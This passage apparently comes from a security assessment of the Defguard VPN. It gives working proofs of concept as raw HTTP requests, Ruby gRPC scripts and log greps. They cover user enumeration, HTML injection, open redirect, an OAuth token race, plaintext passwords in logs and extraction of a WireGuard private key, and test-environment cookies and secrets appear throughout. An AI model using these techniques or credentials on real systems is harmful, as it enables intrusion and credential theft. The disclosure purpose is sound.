public_key: 'c2ae6e16af449e74509080c9af723f6d84bf12106fc1ce27a6d21ec278737615',
preshared_key: '0000000000000000000000000000000000000000000000000000000000000000',
protocol_version: 1,
endpoint: '167.172.191.17:51820',
last_handshake: 0,
tx_bytes: 0,
rx_bytes: 0,
persistent_keepalive_interval: 300,
allowed_ips: ['10.22.33.0/24']
)
]
),
allowed_ips: ['10.22.33.0/24'],
dns: '1.1.1.1'
)
- Check network configuration.
# ifconfig -a
enp0s3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.0.2.15 netmask 255.255.255.0 broadcast 10.0.2.255
inet6 fe80::a00:27ff:feb2:fc34 prefixlen 64 scopeid 0x20<link>
inet6 fd00::a00:27ff:feb2:fc34 prefixlen 64 scopeid 0x0<global>
inet6 fd00::5415:67df:27a2:ae1f prefixlen 64 scopeid 0x0<global>
ether 08:00:27:b2:fc:34 txqueuelen 1000 (Ethernet)
RX packets 68303 bytes 88926375 (84.8 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 34244 bytes 2647464 (2.5 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 1263 bytes 109200 (106.6 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 1263 bytes 109200 (106.6 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
wg1337: flags=209<UP,POINTOPOINT,RUNNING,NOARP> mtu 1420
inet 10.22.33.20 netmask 255.255.255.0 destination 10.22.33.20
unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 1000 (UNSPEC)
RX packets 2 bytes 124 (124.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 2 bytes 180 (180.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
- Read interface data.
$ sudo -u nobody ruby -I/tmp/grpc_ruby read_interface_data.rb
Output:
<Client::InterfaceData: listen_port: 1337, peers: [<Client::Peer: public_key: "c2ae6e16af449e74509080c9af723f6d84bf12106fc1ce27a6d21ec278737615", preshared_key: "0000000000000000000000000000000000000000000000000000000000000000", endpoint: "167.172.191.17:51820", last_handshake: 1755875939, tx_bytes: 180, rx_bytes: 252, persistent_keepalive_interval: 300, allowed_ips: ["10.22.33.0/24"]>]>
read_interface_data.rb
require 'client_services_pb'
include Client
grpc = DesktopDaemonService::Stub::new('127.0.0.1:54127', :this_channel_is_insecure)
result = grpc.read_interface_data ReadInterfaceDataRequest::new(
interface_name: 'wg1337'
)
result.each do |data|
break if data.peers.empty?
p data
end
- Remove interface (close connection).
$ sudo -u nobody ruby -I/tmp/grpc_ruby remove_interface.rb
remove_interface.rb
require 'client_services_pb'
include Client
grpc = DesktopDaemonService::Stub::new('127.0.0.1:54127', :this_channel_is_insecure)
grpc.remove_interface RemoveInterfaceRequest::new(
interface_name: 'wg1337',
endpoint: '10.22.33.20/24'
)
- Check network configuration.
# ifconfig -a
enp0s3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.0.2.15 netmask 255.255.255.0 broadcast 10.0.2.255
inet6 fe80::a00:27ff:feb2:fc34 prefixlen 64 scopeid 0x20<link>
inet6 fd00::a00:27ff:feb2:fc34 prefixlen 64 scopeid 0x0<global>
inet6 fd00::5415:67df:27a2:ae1f prefixlen 64 scopeid 0x0<global>
ether 08:00:27:b2:fc:34 txqueuelen 1000 (Ethernet)
RX packets 68327 bytes 88930655 (84.8 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 34261 bytes 2650098 (2.5 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 1305 bytes 112781 (110.1 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 1305 bytes 112781 (110.1 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Technical details
- User testtest exists:
Request:
POST /api/v1/auth HTTP/2
Host: defguard.dvpnsec.net
Content-Length: 37
Content-Type: application/json
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0
{“username”:“testtest”,“password”:""}
Response:
HTTP/2 401 Unauthorized
Alt-Svc: h3=“:443”; ma=2592000
Content-Type: application/json
Date: Mon, 04 Aug 2025 09:10:42 GMT
Server: Caddy
X-Defguard-Version: 1.5.0-a29ac10
Content-Length: 26
{“msg”:“invalid password”}
- User test404 does not exist:
Request:
POST /api/v1/auth HTTP/2
Host: defguard.dvpnsec.net
Content-Length: 36
Content-Type: application/json
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0
{“username”:“test404”,“password”:""}
Response:
HTTP/2 401 Unauthorized
Alt-Svc: h3=“:443”; ma=2592000
Content-Type: application/json
Date: Mon, 04 Aug 2025 09:10:55 GMT
Server: Caddy
X-Defguard-Version: 1.5.0-a29ac10
Content-Length: 93
{“msg”:“Missing required LDAP settings: LDAP URL is required for LDAP configuration to work”}
Recommendations
To prevent enumeration vulnerabilities, following mitigation steps should be taken:
Generic error messages: Make sure the application displays the same error message for valid and invalid usernames for log-in attempt in to prevent attackers from distinguishing them.
Implement account lockout rules: Configure account lockout rules that do not reveal account status (locked or unlocked) to users or attackers. Account lockout for specified username should be based on a certain number of failed attempts, not on whether the account exists or not.
Introduce a limit on the rate of requests sent to reduce the number of checks for brute-force attacks.
Use universal unique identifiers (UUIDs) or random strings as resource identifiers instead of incremental numbering.
Technical details
The phone number is being validated only at the GUI-level. User - during the enrollment process may insert any non-digits characters into phone-number field:
Request:
POST /api/v1/enrollment/activate_user HTTP/2
Host: defguard-enroll.dvpnsec.net
[…]
{“password”:“Pentest2025!!!”,“phone_number”:”{{ 4*4 }}“}
Response:
HTTP/2 200 OK
Alt-Svc: h3=“:443”; ma=2592000
Date: Wed, 06 Aug 2025 09:38:03 GMT
Server: Caddy
Set-Cookie: defguard_proxy=; Max-Age=0; Expires=Tue, 06 Aug 2024 09:38:03 GMT
Content-Length: 0
User was enrolled with invalid phone number:
Request:
GET /api/v1/user HTTP/2
Host: defguard.dvpnsec.net
[…]
Response:
HTTP/2 200 OK
Alt-Svc: h3=“:443”; ma=2592000
Content-Type: application/json
Date: Wed, 06 Aug 2025 09:38:34 GMT
Server: Caddy
X-Defguard-Version: 1.5.0-a29ac10
Content-Length: 2899
[…]
“id”:40,“is_active”:true,“is_admin”:false,“last_name”:“XXX”,“ldap_pass_requires_change”:false,“mfa_enabled”:false,“mfa_method”:“None”,“phone”:”{{ 4*4 }}”,“totp_enabled”:false,“username”:“fdfdfdfd” […]
Technical details
- only_client_activation is set to true - meaning that administrator disabled manual WireGuard configuration
Request:
GET /api/v1/settings_enterprise HTTP/2
Host: defguard.dvpnsec.net
Cookie: defguard_session=NsgBmPHhmwakT9UGb0QO4SoR
Response:
HTTP/2 200 OK
Alt-Svc: h3=“:443”; ma=2592000
Content-Type: application/json
Date: Wed, 06 Aug 2025 12:17:11 GMT
Server: Caddy
X-Defguard-Version: 1.5.0-a29ac10
Content-Length: 91
{“admin_device_management”:false,“disable_all_traffic”:false,“only_client_activation”:true}
- User can still send HTTP request which manually creates new device:
Request:
POST /api/v1/device/userAAA HTTP/2
Host: defguard.dvpnsec.net
Cookie: defguard_session=NsgBmPHhmwakT9UGb0QO4SoR
Content-Length: 95
Sec-Ch-Ua: “Not)A;Brand”;v=“8”, “Chromium”;v=“138”
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
{“name”:“new-device-123-abc”,“wireguard_pubkey”:“fb4r8zxzstQ+/GxULwnqW9mqDF3YrBT2SvcEHyXqoWM=“}
Response:
HTTP/2 201 Created
Alt-Svc: h3=“:443”; ma=2592000
Content-Type: application/json
Date: Wed, 06 Aug 2025 12:28:29 GMT
Server: Caddy
X-Defguard-Version: 1.5.0-a29ac10
Content-Length: 736
\
{
"configs": [
{
"address": [
"10.22.33.10"
],
"allowed_ips": [
"10.22.33.0/24"
],
"config": "[Interface]\nPrivateKey = YOUR_PRIVATE_KEY\nAddress = 10.22.33.10\n\n[Peer]\nPublicKey = wq5uFq9EnnRQkIDJr3I/bYS/EhBvwc4nptIewnhzdhU=\nAllowedIPs = 10.22.33.0/24\nEndpoint = 167.172.191.17:51820\nPersistentKeepalive = 300",
"dns": null,
"endpoint": "167.172.191.17:51820",
"keepalive_interval": 25,
"location_mfa_mode": "disabled",
"network_id": 1,
"network_name": "Demo-Location",
"pubkey": "wq5uFq9EnnRQkIDJr3I/bYS/EhBvwc4nptIewnhzdhU="
}
],
"device": {
"configured": true,
"created": "2025-08-06T12:28:29.747718276",
"description": null,
"device_type": "User",
"id": 20,
"name": "new-device-123-abc",
"user_id": 49,
"wireguard_pubkey": "fb4r8zxzstQ+/GxULwnqW9mqDF3YrBT2SvcEHyXqoWM="
}
}
Technical details
- only_client_activation is set to true - meaning that administrator disabled manual WireGuard configuration
Request:
GET /api/v1/settings_enterprise HTTP/2
Host: defguard.dvpnsec.net
Cookie: defguard_session=NsgBmPHhmwakT9UGb0QO4SoR
Response:
HTTP/2 200 OK
Alt-Svc: h3=“:443”; ma=2592000
Content-Type: application/json
Date: Wed, 06 Aug 2025 12:44:31 GMT
Server: Caddy
X-Defguard-Version: 1.5.0-a29ac10
Content-Length: 91
{“admin_device_management”:false,“disable_all_traffic”:false,“only_client_activation”:true}
- Show configuration is missing, nonetheless, below endpoints discloses the configuration:
Request:
GET /api/v1/network/1/device/12/config HTTP/2
Host: defguard.dvpnsec.net
Cookie: defguard_session=NsgBmPHhmwakT9UGb0QO4SoR
Response:
HTTP/2 200 OK
Alt-Svc: h3=“:443”; ma=2592000
Content-Type: text/plain; charset=utf-8
Date: Wed, 06 Aug 2025 12:44:46 GMT
Server: Caddy
Content-Length: 213
[Interface]
PrivateKey = YOUR_PRIVATE_KEY
Address = 10.22.33.5
[Peer]
PublicKey = wq5uFq9EnnRQkIDJr3I/bYS/EhBvwc4nptIewnhzdhU=
AllowedIPs = 10.22.33.0/24
Endpoint = 167.172.191.17:51820
PersistentKeepalive = 300
Technical details
During security assessment, we were able to identify two cases in which plain-text user passwords were stored in Defguard’s logs.
The first occurrence regards initial password creation in an enrollment process, the other one relates to password resetting procedure:
root@defguard:~# docker logs -f 8f4c285f04c0 | grep "Asdf"
2025-08-06T13:48:40.571864Z DEBUG run_grpc_bidi_stream: defguard_core::grpc:
Received the following message from proxy:
CoreRequest {
id: 32,
device_info: Some(DeviceInfo {
ip_address: "167.172.191.17",
user_agent: Some("Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/138.0.0.0 Safari/537.36")
}),
payload: Some(ActivateUser(
ActivateUserRequest {
phone_number: None,
password: "Asdf123!",
token: Some("b9I61jO3OIlMGYJXhd7mbdsOOpwcuz9L")
}
))
}
2025-08-06T13:48:40.571901Z DEBUG run_grpc_bidi_stream:activate_user: defguard_core::grpc::enrollment:
Activating user account:
ActivateUserRequest {
phone_number: None,
password: "Asdf123!",
token: Some("b9I61jO3OIlMGYJXhd7mbdsOOpwcuz9L")
}
2025-08-06T14:00:37.437221Z DEBUG run_grpc_bidi_stream: defguard_core::grpc:
Received the following message from proxy:
CoreRequest {
id: 48,
device_info: Some(DeviceInfo {
ip_address: "167.172.191.17",
user_agent: Some("Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/138.0.0.0 Safari/537.36")
}),
payload: Some(PasswordReset(
PasswordResetRequest {
password: "Asdf123!",
token: Some("d1w53URFvtfChGfoW8WOzZTXN2fCtfLg")
}
))
}
2025-08-06T14:00:37.437246Z DEBUG run_grpc_bidi_stream:reset_password: defguard_core::grpc::password_reset:
Starting password reset:
PasswordResetRequest {
password: "Asdf123!",
token: Some("d1w53URFvtfChGfoW8WOzZTXN2fCtfLg")
}
As it can be seen in the code-block above, in both situations - plain-text passwords (Asdf123!) were saved in logs.
Disclaimer: these logs are readable only by users who have SSH access to the VPS; remote exploitation solely via the web interface is not possible without such access. Because of that prerequisite - our severity rating has been downgraded to Low in regard to CVSS3.1-calculated Medium severity.
Technical details
- Data from User-Agent header is not being sanitized. Malicious actor may send a reset link to any DefGuard user - with HTML content which will be rendered in the user’s mailboxes.
Request:
POST /api/v1/password-reset/request HTTP/2
Host: defguard-enroll.dvpnsec.net
User-Agent: browser <h1><a href=“//isec.pl”>CLICK HERE</a></h1>
Content-Type: application/json
Content-Length: 40
{“email”:“phtest2+fdsfdszxczxc@isec.pl”}
Response:
HTTP/2 200 OK
Alt-Svc: h3=“:443”; ma=2592000
Date: Fri, 08 Aug 2025 09:56:26 GMT
Server: Caddy
Content-Length: 0
- <h1><a href=“//isec.pl”>CLICK HERE</a></h1> is being rendered.

Technical details
oAuth request with unauthorized_client calls redirects to the website from redirect_uri parameter, instead of DefGuard host. This leads to Open Redirect vulnerability.
Request:
GET /api/v1/oauth/authorize?allow=true&scope=1&&client_id=xxx&redirect_uri=https://isec.pl&state=1&nonce=2&response_type=code HTTP/2
Host: defguard.dvpnsec.net
Response:
HTTP/2 302 Found
Alt-Svc: h3=“:443”; ma=2592000
Date: Mon, 11 Aug 2025 08:45:15 GMT
Location: https://isec.pl/?error=unauthorized_client&state=1
Server: Caddy
Content-Length: 0
Technical details
- Enabled OpenID app generates code:
Request:
GET /api/v1/oauth/authorize?allow=true&scope=openid&&client_id=9szvHNlxY6R3jvbX&redirect_uri=https://isec.pl&state=111&nonce=2&response_type=code HTTP/2
Host: defguard.dvpnsec.net
Cookie: defguard_session=KENMUulcmfVkD0W8MZjN4Rjw
Response:
HTTP/2 302 Found
Alt-Svc: h3=“:443”; ma=2592000
Date: Mon, 11 Aug 2025 08:17:54 GMT
Location: https://isec.pl/?code=RgB6g99iosVoVnawCHvNDi1l&state=111
Server: Caddy
Content-Length: 0
- Disabling OpenID app:
Request:
POST /api/v1/oauth/9szvHNlxY6R3jvbX HTTP/2
Host: defguard.dvpnsec.net
Cookie: defguard_session=KENMUulcmfVkD0W8MZjN4Rjw
Content-Length: 17
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
{“enabled”:false}
Response:
HTTP/2 200 OK
Alt-Svc: h3=“:443”; ma=2592000
Content-Type: application/json
Date: Mon, 11 Aug 2025 08:18:23 GMT
Server: Caddy
X-Defguard-Version: 1.5.0-a29ac10
Content-Length: 2
{}
- Confirming, that the application is disabled:
Request:
GET /api/v1/oauth HTTP/2
Host: defguard.dvpnsec.net
Cookie: defguard_session=KENMUulcmfVkD0W8MZjN4Rjw
Response:
HTTP/2 200 OK
Alt-Svc: h3=“:443”; ma=2592000
Content-Type: application/json
Date: Mon, 11 Aug 2025 08:18:27 GMT
Server: Caddy
X-Defguard-Version: 1.5.0-a29ac10
Content-Length: 1016
[…]
{
"client_id ": "9szvHNlxY6R3jvbX ",
"client_secret ": "SHyMugRCmiTkLdo1xtV5IwgrY1dKoHpN ",
"enabled ": false,
"id ": 8,
"name ": "openIDApp ",
"redirect_uri ": [
"https://isec.pl "
],
"scope ": [
"openid "
]
}
[ ... ]
- OpenID app - even though it’s disabled - still generates the code:
Request:
GET /api/v1/oauth/authorize?allow=true&scope=openid&&client_id=9szvHNlxY6R3jvbX&redirect_uri=https://isec.pl&state=111&nonce=2&response_type=code HTTP/2
Host: defguard.dvpnsec.net
Cookie: defguard_session=KENMUulcmfVkD0W8MZjN4Rjw
Response:
HTTP/2 302 Found
Alt-Svc: h3=“:443”; ma=2592000
Date: Mon, 11 Aug 2025 08:36:11 GMT
Location: https://isec.pl/?code=zFxh24MQbj8XQ4yDplh1QkoP&state=111
Server: Caddy
Content-Length: 0
The code, however, does not work on the POST /api/v1/oauth/token HTTP/2 endpoint (when the OpenID app is disabled).
Technical details
- User authorizes to the OpenID app:
Request:
POST /api/v1/oauth/token HTTP/2
Host: defguard.dvpnsec.net
Content-Length: 165
Content-Type: application/x-www-form-urlencoded
grant_type=authorization_code&redirect_uri=https://isec.pl&code=rheXiUUlXW34MwoOS7PWxlLV&client_id=9szvHNlxY6R3jvbX&client_secret=SHyMugRCmiTkLdo1xtV5IwgrY1dKoHpN&
Response:
HTTP/2 200 OK
Alt-Svc: h3=“:443”; ma=2592000
Content-Type: application/json
Date: Tue, 12 Aug 2025 10:23:05 GMT
Server: Caddy
X-Defguard-Version: 1.5.0-a29ac10
Content-Length: 124\
{
"access_token ": "Dyg8SocRFYixyEI2qMZRBMpi ",
"id_token ":null,
"refresh_token ": "NL12wUK2mzs5mz0u1V3WLPmE ",
"token_type ": "bearer "
}
- Administrator disables the app:
Request:
POST /api/v1/oauth/9szvHNlxY6R3jvbX HTTP/2
Host: defguard.dvpnsec.net
Cookie: defguard_session=KENMUulcmfVkD0W8MZjN4Rjw
Content-Length: 17
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
{“enabled”:false}
Response:
HTTP/2 200 OK
Alt-Svc: h3=“:443”; ma=2592000
Content-Type: application/json
Date: Tue, 12 Aug 2025 10:23:56 GMT
Server: Caddy
X-Defguard-Version: 1.5.0-a29ac10
Content-Length: 2
{}
- access_token is not being revoked - user can still use it.
Request:
GET /api/v1/oauth/userinfo HTTP/2
Host: defguard.dvpnsec.net
Authorization: Bearer Dyg8SocRFYixyEI2qMZRBMpi
Response:
HTTP/2 200 OK
Alt-Svc: h3=“:443”; ma=2592000
Content-Type: application/json
Date: Tue, 12 Aug 2025 10:25:54 GMT
Server: Caddy
X-Defguard-Version: 1.5.0-a29ac10
Content-Length: 156\
{
"email ": "phtest2+fdsfsdfsdfdsfds@isec.pl ",
"family_name ": "A ",
"given_name ": "A ",
"name ": "AA ",
"phone_number ": "123123 ",
"preferred_username ": "user ",
"sub ": "user "
}
Technical details
Files on Linux and MacOS have permissions defined for three subsets of system users:
“user” - the single user who owns the file
“group” - the group of users the owner is associated with
“others” - everyone else
Permissions define who and what can read, write to, and execute.
The application creates files for which read permissions are granted to the group and other users, while the database contains confidential data.For directories, execute permissions are also granted to the group and other users.
Linux:
$ find ~/.local/share/net.defguard -ls391834 4 drwxr-xr-x 3 user user 4096 Aug 22 00:59 /home/user/.local/share/net.defguard392815 64 -rw-r—r— 1 user user 61440 Aug 22 00:59 /home/user/.local/share/net.defguard/defguard.db445399 4 drwxr-xr-x 2 user user 4096 Aug 20 09:14 /home/user/.local/share/net.defguard/localstorage445400 12 -rw-r—r— 1 user user 12288 Aug 21 10:02 /home/user/.local/share/net.defguard/localstorage/tauri_localhost_0.localstorage445402 32 -rw-r—r— 1 user user 32768 Aug 21 10:02 /home/user/.local/share/net.defguard/localstorage/tauri_localhost_0.localstorage-shm445401 0 -rw-r—r— 1 user user 0 Aug 21 10:02 /home/user/.local/share/net.defguard/localstorage/tauri_localhost_0.localstorage-wal395561 4 -rw-r—r— 1 user user 106 Aug 20 09:14 /home/user/.local/share/net.defguard/config.json
$ sqlite3 -column -header ~/.local/share/net.defguard/defguard.db “select id,prvkey,server_pubkey,endpoint from tunnel;“id prvkey server_pubkey endpoint— -------------------------------------------- -------------------------------------------- --------------------1 kxiyB6eBem2ZHnTWMApvck5jkKMtGG4eDk88NwM09WM= wq5uFq9EnnRQkIDJr3I/bYS/EhBvwc4nptIewnhzdhU= 167.172.191.17:51820
MacOS:
$ ls -l /System/Volumes/Data/Users/user/Library/Application\ Support/net.defguardtotal 264-rw-r—r— 1 user staff 106 10 lip 16:36 config.json-rw-r—r— 1 user staff 98304 14 lip 19:59 defguard.db
Technical details
docker logs -f 8f4c285f04c0 | grep CioKIGIwYW
2025-08-06T14:19:00.571596Z DEBUG defguard_event_router::handlers::api:
Processing API event: ApiEvent {
context: ApiRequestContext {
timestamp: 2025-08-06T14:19:00.565824121,
user_id: 1,
username: "admin",
ip: 91.236.53.124,
device: "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
},
event: SettingsUpdatedPartial {
before: Settings {
openid_enabled: true,
wireguard_enabled: true,
webhooks_enabled: true,
worker_enabled: true,
challenge_template: "Please read this carefully:\n\nClick to sign to prove you are in possession of your private key to the account.\nThis request will not trigger a blockchain [ ... ]",
ldap_uses_ad: false,
ldap_sync_interval: 300,
ldap_user_auxiliary_obj_classes: [],
ldap_user_rdn_attr: Some(" "),
ldap_sync_groups: [],
openid_create_account: true,
openid_username_handling: RemoveForbidden,
license: Some("CioKIGIwYWMyNDllNTRhY <cut>"),
gateway_disconnect_notifications_enabled: false,
gateway_disconnect_notifications_inactivity_threshold: 5,
gateway_disconnect_notifications_reconnect_notification_enabled: false
}
}
}
Technical details
While sending an enrollment e-mail, code tries to unwrap subject: settings.enrollment_welcome_email_subject.clone(). However, this value can be None.
Set enrollment_welcome_email_subject to None, by setting it to null:
Request:
PUT /api/v1/settings HTTP/2
Host: defguard.dvpnsec.net
Cookie: defguard_session=rxjGcZckXXvXS8ec0Uhj86d6
[…]
“enrollment_use_welcome_message_as_email”:false,“enrollment_vpn_step_optional”:true,“enrollment_welcome_email”:“Dear {[…]”,“enrollment_welcome_email_subject”:null,“enrollment_welcome_message”: […]
Response:
HTTP/2 200 OK
Alt-Svc: h3=“:443”; ma=2592000
Content-Type: application/json
Date: Wed, 06 Aug 2025 10:47:07 GMT
Server: Caddy
X-Defguard-Version: 1.5.0-a29ac10
Content-Length: 4
null
In the following request, enrollment_use_welcome_message_as_email has to be set to false and enrollment_welcome_email_subject has to be set to null.
Start the enrollment process.
During the last step (before sending e-mail to the enrolled user), below request throws 500:
Request:
POST /api/v1/enrollment/activate_user HTTP/2
Host: defguard-enroll.dvpnsec.net
[…]
{“password”:“Test123!”}
Response:
HTTP/2 500 Internal Server Error
Alt-Svc: h3=“:443”; ma=2592000
Content-Type: application/json
Date: Wed, 06 Aug 2025 10:47:55 GMT
Server: Caddy
Content-Length: 33
{“error”:“Internal server error”}
and server panics:
root@defguard: ~# docker logs -f --tail 10 47ef471e760c
[ ... ]
2025-08-06T10:47:50.577684Z DEBUG run_grpc_bidi_stream:activate_user:
defguard_core::grpc::enrollment: Retriving settings to send welcome
email ...
2025-08-06T10:47:50.577698Z DEBUG run_grpc_bidi_stream:activate_user:
defguard_core::grpc::enrollment: Successfully retrived settings.
2025-08-06T10:47:50.577705Z DEBUG run_grpc_bidi_stream:activate_user:
defguard_core::grpc::enrollment: Try to send welcome email ...
2025-08-06T10:47:50.577711Z DEBUG run_grpc_bidi_stream:activate_user:
defguard_core::grpc::enrollment: Sending welcome mail to testtesttest
thread 'main ' panicked at
/build/crates/defguard_core/src/grpc/enrollment.rs:902:72:
called `Option::unwrap() ` on a `None ` value
note: run with `RUST_BACKTRACE=1 ` environment variable to display a
backtrace```
Technical details
- The name of the OpenID app is being changed:
Request:
PUT /api/v1/oauth/9szvHNlxY6R3jvbX HTTP/2
Host: defguard.dvpnsec.net
Cookie: defguard_session=KENMUulcmfVkD0W8MZjN4Rjw
[…]
{
"client_secret ": "SHyMugRCmiTkLdo1xtV5IwgrY1dKoHpN ",
"enabled ":false,
"id ":8,
"name ":" <h1 > <a href= '//isec.pl ' >CLICK HERE </a > </h1 > <! -- ",
"redirect_uri ": [ "https://isec.pl " ],
"scope ": [ "openid " ]
}
Response:
HTTP/2 200 OK
Alt-Svc: h3=“:443”; ma=2592000
Content-Type: application/json
Date: Mon, 11 Aug 2025 10:33:09 GMT
Server: Caddy
X-Defguard-Version: 1.5.0-a29ac10
Content-Length: 2
{}
- User authorizes the OpenID:
Request:
POST /api/v1/oauth/authorize?scope=openid&response_type=code&client_id=9szvHNlxY6R3jvbX&redirect_uri=https%3A%2F%2Fisec.pl&state=1113&nonce=test&allow=true HTTP/2
Host: defguard.dvpnsec.net
Cookie: defguard_session=0i1uyyokye6n58A0mSLs1VQ7
Response:
HTTP/2 302 Found
Alt-Svc: h3=“:443”; ma=2592000
Date: Mon, 11 Aug 2025 10:35:23 GMT
Location: https://isec.pl/?code=dmDdZMoVBMztMUodpnDmLsQh&state=1113
Server: Caddy
Content-Length: 0
- An e-mail with HTML injection is being sent:

Technical details
- Generate code:
Request:
GET /api/v1/oauth/authorize?scope=profile&response_type=code&client_id=9szvHNlxY6R3jvbX&redirect_uri=https%3A%2F%2Fisec.pl&state=1&nonce=1&allow=true HTTP/2
Host: defguard.dvpnsec.net
Cookie: defguard_session=q4HT5ItlifpmV4rDDUcXZVWU
Response:
HTTP/2 302 Found
Alt-Svc: h3=“:443”; ma=2592000
Date: Tue, 12 Aug 2025 10:33:29 GMT
Location: https://isec.pl/?code=tPwLxI4iYqGUFSxclZUwOZ0d&state=1
Server: Caddy
Content-Length: 0
- Send below requests into Burp’s Repeater twice. Group Repeater’s tabs into single group and Send group in parallel (single-packet attack).
Request:
POST /api/v1/oauth/token HTTP/2
Host: defguard.dvpnsec.net
Content-Length: 165
Content-Type: application/x-www-form-urlencodedgrant_type=authorization_code&redirect_uri=https://isec.pl&code=tPwLxI4iYqGUFSxclZUwOZ0d&client_id=9szvHNlxY6R3jvbX&client_secret=SHyMugRCmiTkLdo1xtV5IwgrY1dKoHpN&
Response:
HTTP/2 200 OK
Alt-Svc: h3=“:443”; ma=2592000
Content-Type: application/json
Date: Tue, 12 Aug 2025 10:33:36 GMT
Server: Caddy
X-Defguard-Version: 1.5.0-a29ac10
Content-Length: 124\
{
"access_token ": "c4SyMSrsSPYjT7OqylFsHMDZ ",
"id_token ":null,
"refresh_token ": "Io0N0HKAOS98lepMvHqt3duh ",
"token_type ": "bearer "
}
Request:
POST /api/v1/oauth/token HTTP/2
Host: defguard.dvpnsec.net
Content-Length: 165
Content-Type: application/x-www-form-urlencodedgrant_type=authorization_code&redirect_uri=https://isec.pl&code=tPwLxI4iYqGUFSxclZUwOZ0d&client_id=9szvHNlxY6R3jvbX&client_secret=SHyMugRCmiTkLdo1xtV5IwgrY1dKoHpN&
Response:
HTTP/2 200 OK
Alt-Svc: h3=“:443”; ma=2592000
Content-Type: application/json
Date: Tue, 12 Aug 2025 10:33:36 GMT
Server: Caddy
X-Defguard-Version: 1.5.0-a29ac10
Content-Length: 124\
{
"access_token ": "YUd8GGDbXJQZr9V4ebYxqx8Q ",
"id_token ":null,
"refresh_token ": "04h4wum40uw0Uc1zELYRSby6 ",
"token_type ": "bearer"
}
The same code generated two different access tokens.
Technical details
Read permissions of the Defguard service log files are granted to all users on Linux, MacOS and Windows.Source code responsible for logging WireGuard configuration is not a part of the Defguard Desktop Client repository.The source code belongs to its dependency, to the defguard_wireguard_rs library.
https://github.com/DefGuard/wireguard-rs/blob/main/src/wgapi_windows.rs#L33-L234
fn configure_interface(&self,config: **&**InterfaceConfiguration,dns: **&** [IpAddr ],search_domains: **&** [&**str**]) - > Result <(), WireguardInterfaceError >
{
debug!("Configuring interface {} with config: {config:?}"*,self.ifname);
[...]
debug!("Interface {} configured with config: {config:?}",self.ifname);
}
https://github.com/DefGuard/wireguard-rs/blob/main/src/wgapi_linux.rs#L33-L96
fn configure_interface(&self,config: **&**InterfaceConfiguration) - > Result <(), WireguardInterfaceError > {
debug!("Configuring interface {} with config: {config:?} ",self.ifname);
[ ... ]
debug!( "Interface {} configured with config: {config:?} ",self.ifname
);
https://github.com/DefGuard/wireguard-rs/blob/main/src/wgapi_userspace.rs#L159-L207
fn configure_interface(&self,config: &InterfaceConfiguration,) - > Result <(), WireguardInterfaceError > {
debug!("Configuring interface {} with config: {config:?} "*,self.ifname);
[ ... ]
debug!("Interface {} configured with config: {config:?} ", self.ifname);
https://github.com/DefGuard/wireguard-rs/blob/main/src/wgapi_freebsd.rs#L58-L114
fn configure_interface(&self, config: **&**InterfaceConfiguration) - > Result <(), WireguardInterfaceError > {
debug!("Configuring interface {} with config: {config:?} ",self.ifname);
[ ... ]
debug!("Interface {} configured with config: {config:?} ", self.ifname);
Proof of Concept
Windows log file permissions:
C:\\\>icacls
\"C:\\Logs\\defguard-service\\defguard-service.log.2025-08-26\"C:\\Logs\\defguard-service\\defguard-service.log.2025-08-26
BUILTIN\\Administrators:(I)(F)NT
AUTHORITY\\SYSTEM:(I)(F)BUILTIN\\Users:(I)(RX)NT
AUTHORITY\\Authenticated Users:(I)(M)
MacOS log file permissions:
\$ ls -l
/var/log/defguard-service/defguard-service.log.2025-08-23-rw-r\--r\-- 1
root wheel 598 23 sie 19:40
/var/log/defguard-service/defguard-service.log.2025-08-23
Linux log file permissions:
\$ ls -l
/var/log/defguard-service/defguard-service.log.2025-08-23-rw-r\--r\-- 1
root root 31531 Aug 22 22:39
/var/log/defguard-service/defguard-service.log.2025-08-23
Simple command allows to read configuration used to set up a WireGuard interface.
$ grep -i key /var/log/defguard-service/defguard-service.log.2025-08-23 | head -1
{
"timestamp": "2025-08-23T02:37:08.102088Z",
"level": "DEBUG",
"fields": {
